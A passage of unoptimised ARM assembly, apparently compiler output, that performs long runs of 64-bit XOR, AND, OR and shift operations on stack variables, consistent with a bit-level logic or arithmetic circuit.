sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4544
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4544
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-996]
str r4, [fp, #-992]
sub r1, fp, #1012
ldmia r1, {r0-r1}
sub r3, fp, #1004
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4544
sub lr, lr, #28
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4544
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4544
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-988]
str r4, [fp, #-984]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2836]
and r3, r1, r3
str r3, [fp, #-2832]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2836]
ldr r1, [fp, #-2832]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4544
sub lr, lr, #36
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4544
sub r3, r3, #32
str r1, [r3]
sub r3, fp, #4544
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-980]
str r4, [fp, #-976]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2844]
and r3, r5, r1
str r3, [fp, #-2840]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2844]
ldr r1, [fp, #-2840]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4544
sub lr, lr, #44
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4544
sub r3, r3, #40
str r1, [r3]
sub r3, fp, #4544
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-972]
str r4, [fp, #-968]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2852]
and r3, r5, r1
str r3, [fp, #-2848]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2852]
ldr r1, [fp, #-2848]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4544
sub lr, lr, #52
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4544
sub r3, r3, #48
str r1, [r3]
sub r3, fp, #4544
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-964]
str r4, [fp, #-960]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2860]
and r3, r5, r1
str r3, [fp, #-2856]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2860]
ldr r1, [fp, #-2856]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4544
sub lr, lr, #60
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4544
sub r3, r3, #56
str r1, [r3]
sub r3, fp, #4544
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-956]
str r4, [fp, #-952]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2868]
and r3, r5, r1
str r3, [fp, #-2864]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2868]
ldr r1, [fp, #-2864]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4608
sub lr, lr, #4
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4608
str r1, [r3]
sub r3, fp, #4608
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-948]
str r4, [fp, #-944]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2876]
and r3, r5, r1
str r3, [fp, #-2872]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2876]
ldr r1, [fp, #-2872]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4608
sub lr, lr, #12
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4608
sub r3, r3, #8
str r1, [r3]
sub r3, fp, #4608
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-940]
str r4, [fp, #-936]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2884]
and r3, r5, r1
str r3, [fp, #-2880]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2884]
ldr r1, [fp, #-2880]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4608
sub lr, lr, #20
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4608
sub r3, r3, #16
str r1, [r3]
sub r3, fp, #4608
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-932]
str r4, [fp, #-928]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #6
orr r0, r0, r3, lsl #26
lsr r1, r3, #6
and r3, r4, r0
str r3, [fp, #-2892]
and r3, r5, r1
str r3, [fp, #-2888]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2892]
ldr r1, [fp, #-2888]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4608
sub lr, lr, #28
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4608
sub r3, r3, #24
str r1, [r3]
sub r3, fp, #4608
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-924]
str r4, [fp, #-920]
ldr r0, [fp, #-1196]
ldr r1, [fp, #-1192]
sub r3, fp, #980
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4608
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4608
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4608
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-916]
str r4, [fp, #-912]
ldr r0, [fp, #-1196]
ldr r1, [fp, #-1192]
sub r3, fp, #980
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4608
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4608
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4608
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-908]
str r4, [fp, #-904]
sub r1, fp, #916
ldmia r1, {r0-r1}
ldr r2, [fp, #-1228]
ldr r3, [fp, #-1224]
and ip, r0, r2
sub lr, fp, #4608
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4608
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4608
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-900]
str r4, [fp, #-896]
sub r1, fp, #916
ldmia r1, {r0-r1}
ldr r2, [fp, #-1228]
ldr r3, [fp, #-1224]
eor ip, r0, r2
sub lr, fp, #4608
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4608
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4608
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-892]
str r4, [fp, #-888]
sub r1, fp, #908
ldmia r1, {r0-r1}
sub r3, fp, #900
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #4
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4672
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-884]
str r4, [fp, #-880]
ldr r0, [fp, #-1156]
ldr r1, [fp, #-1152]
sub r3, fp, #972
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-876]
str r4, [fp, #-872]
ldr r0, [fp, #-1156]
ldr r1, [fp, #-1152]
sub r3, fp, #972
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-868]
str r4, [fp, #-864]
sub r1, fp, #876
ldmia r1, {r0-r1}
ldr r2, [fp, #-1188]
ldr r3, [fp, #-1184]
and ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-860]
str r4, [fp, #-856]
sub r1, fp, #876
ldmia r1, {r0-r1}
ldr r2, [fp, #-1188]
ldr r3, [fp, #-1184]
eor ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #36
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-852]
str r4, [fp, #-848]
sub r1, fp, #868
ldmia r1, {r0-r1}
sub r3, fp, #860
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #44
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-844]
str r4, [fp, #-840]
ldr r0, [fp, #-1116]
ldr r1, [fp, #-1112]
sub r3, fp, #964
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-836]
str r4, [fp, #-832]
ldr r0, [fp, #-1116]
ldr r1, [fp, #-1112]
sub r3, fp, #964
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4672
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4672
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4672
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-828]
str r4, [fp, #-824]
sub r1, fp, #836
ldmia r1, {r0-r1}
ldr r2, [fp, #-1148]
ldr r3, [fp, #-1144]
and ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4736
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-820]
str r4, [fp, #-816]
sub r1, fp, #836
ldmia r1, {r0-r1}
ldr r2, [fp, #-1148]
ldr r3, [fp, #-1144]
eor ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #12
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-812]
str r4, [fp, #-808]
sub r1, fp, #828
ldmia r1, {r0-r1}
sub r3, fp, #820
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #20
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-804]
str r4, [fp, #-800]
ldr r0, [fp, #-1076]
ldr r1, [fp, #-1072]
sub r3, fp, #956
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-796]
str r4, [fp, #-792]
ldr r0, [fp, #-1076]
ldr r1, [fp, #-1072]
sub r3, fp, #956
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-788]
str r4, [fp, #-784]
sub r1, fp, #796
ldmia r1, {r0-r1}
ldr r2, [fp, #-1108]
ldr r3, [fp, #-1104]
and ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #44
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-780]
str r4, [fp, #-776]
sub r1, fp, #796
ldmia r1, {r0-r1}
ldr r2, [fp, #-1108]
ldr r3, [fp, #-1104]
eor ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #52
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-772]
str r4, [fp, #-768]
sub r1, fp, #788
ldmia r1, {r0-r1}
sub r3, fp, #780
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4736
sub lr, lr, #60
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4736
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4736
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-764]
str r4, [fp, #-760]
ldr r0, [fp, #-1036]
ldr r1, [fp, #-1032]
sub r3, fp, #948
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4800
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-756]
str r4, [fp, #-752]
ldr r0, [fp, #-1036]
ldr r1, [fp, #-1032]
sub r3, fp, #948
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-748]
str r4, [fp, #-744]
sub r1, fp, #756
ldmia r1, {r0-r1}
ldr r2, [fp, #-1068]
ldr r3, [fp, #-1064]
and ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #20
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-740]
str r4, [fp, #-736]
sub r1, fp, #756
ldmia r1, {r0-r1}
ldr r2, [fp, #-1068]
ldr r3, [fp, #-1064]
eor ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #28
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-732]
str r4, [fp, #-728]
sub r1, fp, #748
ldmia r1, {r0-r1}
sub r3, fp, #740
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #36
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-724]
str r4, [fp, #-720]
sub r1, fp, #996
ldmia r1, {r0-r1}
sub r3, fp, #940
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-716]
str r4, [fp, #-712]
sub r1, fp, #996
ldmia r1, {r0-r1}
sub r3, fp, #940
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #52
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-708]
str r4, [fp, #-704]
sub r1, fp, #716
ldmia r1, {r0-r1}
ldr r2, [fp, #-1028]
ldr r3, [fp, #-1024]
and ip, r0, r2
sub lr, fp, #4800
sub lr, lr, #60
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4800
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4800
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-700]
str r4, [fp, #-696]
sub r1, fp, #716
ldmia r1, {r0-r1}
ldr r2, [fp, #-1028]
ldr r3, [fp, #-1024]
eor ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #4
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4864
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-692]
str r4, [fp, #-688]
sub r1, fp, #708
ldmia r1, {r0-r1}
sub r3, fp, #700
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #12
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-684]
str r4, [fp, #-680]
ldr r0, [fp, #-1268]
ldr r1, [fp, #-1264]
sub r3, fp, #932
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-676]
str r4, [fp, #-672]
ldr r0, [fp, #-1268]
ldr r1, [fp, #-1264]
sub r3, fp, #932
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #28
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #24
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-668]
str r4, [fp, #-664]
sub r1, fp, #676
ldmia r1, {r0-r1}
sub r3, fp, #988
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #36
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #32
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-660]
str r4, [fp, #-656]
sub r1, fp, #676
ldmia r1, {r0-r1}
sub r3, fp, #988
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #44
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #40
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-652]
str r4, [fp, #-648]
sub r1, fp, #668
ldmia r1, {r0-r1}
sub r3, fp, #660
ldmia r3, {r2-r3}
orr ip, r0, r2
sub lr, fp, #4864
sub lr, lr, #52
str ip, [lr]
orr r3, r1, r3
sub r2, fp, #4864
sub r2, r2, #48
str r3, [r2]
sub r3, fp, #4864
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-644]
str r4, [fp, #-640]
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
and ip, r0, r2
str ip, [fp, #-2900]
and r3, r1, r3
str r3, [fp, #-2896]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2900]
ldr r1, [fp, #-2896]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4864
sub lr, lr, #60
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4864
sub r3, r3, #56
str r1, [r3]
sub r3, fp, #4864
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-636]
str r4, [fp, #-632]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #1
orr r4, r4, r3, lsl #31
lsr r5, r3, #1
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2908]
and r3, r5, r1
str r3, [fp, #-2904]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2908]
ldr r1, [fp, #-2904]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #4
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-628]
str r4, [fp, #-624]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #2
orr r4, r4, r3, lsl #30
lsr r5, r3, #2
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2916]
and r3, r5, r1
str r3, [fp, #-2912]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2916]
ldr r1, [fp, #-2912]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #12
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #8
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-620]
str r4, [fp, #-616]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #3
orr r4, r4, r3, lsl #29
lsr r5, r3, #3
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2924]
and r3, r5, r1
str r3, [fp, #-2920]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2924]
ldr r1, [fp, #-2920]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #20
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #16
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-612]
str r4, [fp, #-608]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #4
orr r4, r4, r3, lsl #28
lsr r5, r3, #4
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2932]
and r3, r5, r1
str r3, [fp, #-2928]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2932]
ldr r1, [fp, #-2928]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #28
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #24
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #28
ldmia r3, {r3-r4}
str r3, [fp, #-604]
str r4, [fp, #-600]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #5
orr r4, r4, r3, lsl #27
lsr r5, r3, #5
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2940]
and r3, r5, r1
str r3, [fp, #-2936]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2940]
ldr r1, [fp, #-2936]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #36
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #32
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #36
ldmia r3, {r3-r4}
str r3, [fp, #-596]
str r4, [fp, #-592]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #6
orr r4, r4, r3, lsl #26
lsr r5, r3, #6
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2948]
and r3, r5, r1
str r3, [fp, #-2944]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2948]
ldr r1, [fp, #-2944]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #44
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #40
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #44
ldmia r3, {r3-r4}
str r3, [fp, #-588]
str r4, [fp, #-584]
ldr r2, [fp, #-2484]
ldr r3, [fp, #-2480]
mov r4, #0
mov r5, #0
lsr r4, r2, #7
orr r4, r4, r3, lsl #25
lsr r5, r3, #7
ldr r2, [fp, #-2492]
ldr r3, [fp, #-2488]
mov r0, #0
mov r1, #0
lsr r0, r2, #7
orr r0, r0, r3, lsl #25
lsr r1, r3, #7
and r3, r4, r0
str r3, [fp, #-2956]
and r3, r5, r1
str r3, [fp, #-2952]
mov r2, #1
mov r3, #0
ldr r0, [fp, #-2956]
ldr r1, [fp, #-2952]
mov ip, r0
and ip, ip, r2
sub lr, fp, #4928
sub lr, lr, #52
str ip, [lr]
and r1, r1, r3
sub r3, fp, #4928
sub r3, r3, #48
str r1, [r3]
sub r3, fp, #4928
sub r3, r3, #52
ldmia r3, {r3-r4}
str r3, [fp, #-580]
str r4, [fp, #-576]
sub r1, fp, #852
ldmia r1, {r0-r1}
sub r3, fp, #636
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4928
sub lr, lr, #60
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4928
sub r2, r2, #56
str r3, [r2]
sub r3, fp, #4928
sub r3, r3, #60
ldmia r3, {r3-r4}
str r3, [fp, #-572]
str r4, [fp, #-568]
sub r1, fp, #852
ldmia r1, {r0-r1}
sub r3, fp, #636
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #4
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4992
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #4
ldmia r3, {r3-r4}
str r3, [fp, #-564]
str r4, [fp, #-560]
sub r1, fp, #572
ldmia r1, {r0-r1}
sub r3, fp, #884
ldmia r3, {r2-r3}
and ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #12
str ip, [lr]
and r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #8
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #12
ldmia r3, {r3-r4}
str r3, [fp, #-556]
str r4, [fp, #-552]
sub r1, fp, #572
ldmia r1, {r0-r1}
sub r3, fp, #884
ldmia r3, {r2-r3}
eor ip, r0, r2
sub lr, fp, #4992
sub lr, lr, #20
str ip, [lr]
eor r3, r1, r3
sub r2, fp, #4992
sub r2, r2, #16
str r3, [r2]
sub r3, fp, #4992
sub r3, r3, #20
ldmia r3, {r3-r4}
str r3, [fp, #-548]
